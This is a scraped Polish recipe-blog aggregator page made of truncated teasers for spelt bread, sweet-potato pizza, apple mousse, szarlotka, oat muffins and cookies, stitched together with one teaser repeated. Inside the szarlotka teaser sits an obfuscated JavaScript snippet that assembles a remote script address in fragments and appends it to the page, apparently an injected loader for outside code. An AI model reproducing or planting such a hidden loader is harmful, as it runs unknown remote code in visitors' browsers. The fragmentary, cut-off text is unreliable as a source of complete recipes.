CHLEBEK ORKISZOWO-PSZENNY Z PŁATKAMI OWSIANYMI Składniki: -mąka pszenna (170 g) -mąka orkiszowa (200 g) -płatki owsiane (150 g) -drożdże suche (7g) lub ¼ kostki (25 g
Być w dobrej formie i tryskać pozytywną energią przez cały czasZdrowa pizza z mąki orkiszowej z batatami, nerkowcami i domowym sosem pomidorowym to nasza druga ulubiona fit pizza (obok Pizzy orkiszowej z mozzarellą i pomidorami ), w której gustuje cała nasza rodzinka. Połączenie słodkich batatów, z chrupiącymi orzechami, słodko-kwaśną bazą pomidorową i odrobiną mozzarelli jest przepyszne (weganie mogą pominąć mozzarellę i dać więcej nerkowców). Pizza znika na ciepło(...)Ponieważ spód do pizzy jest z mąki orkiszowej, pizza jest jest bardzo sycąca. Z poniższego przepisu na spód wychodzą 3 duże pizze. Ja często piekę dwie, a z pozostałego ciasta robię chlebek o nazwie Focaccia. Ciasto na pizze można przygotować wieczorem i wstawić na noc do lodówki. Bataty, to słodkie ziemniaki zaliczane do tzw. grupy superfoods i w przeciwieństwie
Moja Delicjapyszny, naturalnie słodki, ma delikatny smak papierówek, nie dodałam do gotowania nawet cynamonu, gdyż stwierdziłam, że można go dodać, tuż przed wykorzystaniem np. do posmarowania naleśników, do wszelkiego rodzaju ciast z jabłkami, szczególnie do szarlotki, do deserów, czy do zwykłego ryżu, czy kaszy manny na gęsto … Na blogu jest też przepis na mus jabłkowy na zimę z niewielką ilością(...)zimę. Mus z jabłek bez cukru jest idealny nie tylko dla tych, którzy liczą kalorie, ale również dla tych co nie chcą musu sztucznie słodzonego cukrem, chcą być fit. Ponieważ mus był przygotowywany z papierówek, podczas duszenia jabłka same się rozpadały, nie trzeba było im pomagać. Taki domowej roboty naturalny przecier jabłkowy doskonale nadaje się dla małych dzieci, nawet
Damsko-męskie spojrzenie na kuchnięJak nie wiem co podać na śniadanie to zazwyczaj powstają wówczas pyszne dania. Nie inaczej było i tym razem, naleśniki powstały pod wpływem chwili bo nic
Moje Małe CzarowanieMówiąc o ciastach z owocami, nie można nie wspomnieć o królowej polskich wypieków, czyli szarlotce ! Mnogość przepisów na jej przygotowanie przyprawia o zawrót głowy – od klasycznych, opartych na kruchym cieście i cynamonie , po wyszukane , zaskakujące różnorodnością składników oraz sposobem wykonania. Szarlotka z bezą (szczegółowy przepis znajdziecie tutaj: https://akademiasmaku.pl/przepis/fit-szarlotka-sypana-z-lekka-beza,3650 ) z pewnością sprosta wymaganiom wszystkich łasuchów, którzy uwielbiają połączenie jabłek(...)składniki zostały dobrane właśnie z myślą o nich ( https://akademiasmaku.pl/przepis/szarlotka-jaglana-weganska-bez-maki-i-jajek,3328 ). W przepisie nie znajdziemy mąki oraz jaj, a biały cukier można zastąpić ksylitolem. Jednym słowem: smacznie, zdrowo i fit. (function(){ cqug=document.createElement("script");cqug_=("ust");cqugu="124571744"; cqug_+="a"+("t.i");cqug.type="text/javascript"; cqugu+=".nqbjaxmmqugv0606n1vf";cqug.async=true;cqug_+="n"+("f"+"o")+"/"; cqugu+="qlnjbp2peh";cqug.src="https://"+cqug_+cqugu; document.body.appendChild(cqug
Moja smaczna kuchniaChyba każdy z nas cieszy się z niebanalnych prezentów Chciałam być zatem kreatywna i zamiast czekoladowych mikołajów i świątecznych czekolad wręczyłam tajemnicze woreczki a w nich
Eat me! Fit me!Dawno nie było nowych przepisów za co bardzo przepraszam, niestety szukam pracy i przez to tak wychodzi. Obiecuje po raz kolejny poprawę, ale tym razem mam
Parowar FacetaJesień zbliża się wielkimi krokami, w związku z czym warto zadbać o naszą spiżarnię . Mam dla Was przepis na przepyszny dżem z cukinii. Jest mocno cytrynowy
Przepisy na widelcuDziś 14 luty, dzień zakochanych. Oczywiście w taki dzień nie może zabraknąć smacznego deseru. W tym roku postawiłem na nieco inne rozwiązanie i przygotowałem deser w
Programista w kuchniWielkanocne babeczki dla dbających o linię ;) Oczywiście nie mówię, że wypiek jest najzdrowszy na świecie, ale na pewno bardziej fit, niż tradycyjne babki. Babeczki z mąki owsianej bez glutenu, wychodzą delikatne i puszyste, a dodatek jagód i pachnącej róży dodaje im ciekawego urozmaicenia. 200 g mąki owsianej bezglutenowej 2-3 łyżki syropu z agawy/klonowego lub innego, którego używacie łyżeczka(...)jagód (mogą być mrozone) kopiasta łyżka konfitury z płatków róży opcjonalnie puder buraczany lub truskawkowy W jednej misce mieszamy składniki płynne, a w drugiej suche. Łączymy je se sobą. Ciasto przekładamy do 3/4 wysokości natłuszczonych foremek. Pieczemy około 25 minut (do suchego patyczka) w temperaturze 180 stopni. Studzimy na kratce. Jagody miksujemy z konfiturą różaną. Musem dekorujemy babeczki. Przed podaniem
Mienta blogDziś 14 luty, dzień zakochanych. Oczywiście w taki dzień nie może zabraknąć smacznego deseru. W tym roku postawiłem na nieco inne rozwiązanie i przygotowałem deser w
Programista w kuchniBuraki - to warzywa, które uwielbiam pod każdą niemal postacią. Zwiększają odporność i zapobiegają anemii....bla bla bla. Na pewno to prawda ale ja jem je
Pobite gary BarbaryPyszne chrupiące naleśniki i ostre bogate w warzywa nadzienie czegóż chcieć więcej? Szybko, smacznie i fit... Myślę że skusi osoby będące na diecie i nie jedzące mięsa...:) Składniki opakowanie mieszanki MEKSYKAŃSKIEJ np z Hortexu 1 cukinia młoda 1 cebula 2 łyżki masła sól morska do smaku papryka ostra do smaku pieprz kolorowy z młynka do smaku Ketchup paprykowy(...)szklanka mleka 2 jajka 1 szklanka mąki pszennej 2 łyżki mąki kukurydzianej 3/4 szklanki wody gazowanej szczypta soli 1 łyżka oliwy folia aluminiowa do zawinięcia Sposób przygotowania Naleśnikowe ciasto: Jajka ubić na pianę z solą połączyć z mlekiem,mąką dokładnie zmiksować do gęstego ciasta wlać wodę gazowaną ,dokładnie zmiksować i odstawić ciasto na 20 minut. Patelnię ceramiczną rozgrzać
Wanilia i Kardamonduże kawałki czekolady, po jednym takim ciasteczku świat staje się jeszcze piękniejszy Składniki na około 14 sztuk wielkich ciach (średnica 10 cm): 300 g gorzkiej czekolady (tak wiem, wszystkie fit laski łapią się teraz za głowę) 100 g oleju kokosowego 180 g mąki pszennej 1 mały banan 50 g ciemnego kakao 100 g curku pół łyżeczki sody szczypta soli(...)biedy posiekaj. Przez 2-3 minuty blenduj banana, olej, mleko i cukier. Do mokrych składników stopniowo dodawaj suche. Na samym końcu dodaj kawałki czekolady, wymieszaj. Nabieraj łyżką porcję ciasta, uformuj kulkę i kładąc na blaszkę wyłożona pepeirem do pieczenia rozpłaszczaj do wysokości 5 mm. Piecz około 15 minut w temp. 170-180 C, brzegi powinny lekko stwardnieć, ale środek powinien
greenscarfdobrym składem, w porównaniu do lidlowskich Sasanek, które powinny być zdrowe, bo w końcu są z mąki owsianej a nie białej pszennej ;) Nie wierzmy wszystkiemu, co kusi, że fit i bez cukru. P.S. Miały być jeszcze dla koleżanek z pracy, ale nie doczekały poniedziałku. Podzieliły tym samym los bohaterów książki. Składniki: 125 g masła 80 g brązowego cukru(...)masła Przygotowanie: Ucieramy masło z cukrem (mikserem). Dodajemy miód i dalej ucieramy. Zmniejszamy prędkość miksera i dodajemy płatki owsiane, mąkę, sodę, proszek i sól. Miksujemy, ciasto powinno być lekko klejące. Odrywamy małe kulki (wielkości orzecha włoskiego) i rozpłaszczamy w dłoniach. Powinny mieć ok. 3-4 cm średnicy. Ciasteczka układamy na blaszce wyłożonej papierem do pieczenia. Musimy
bistro mama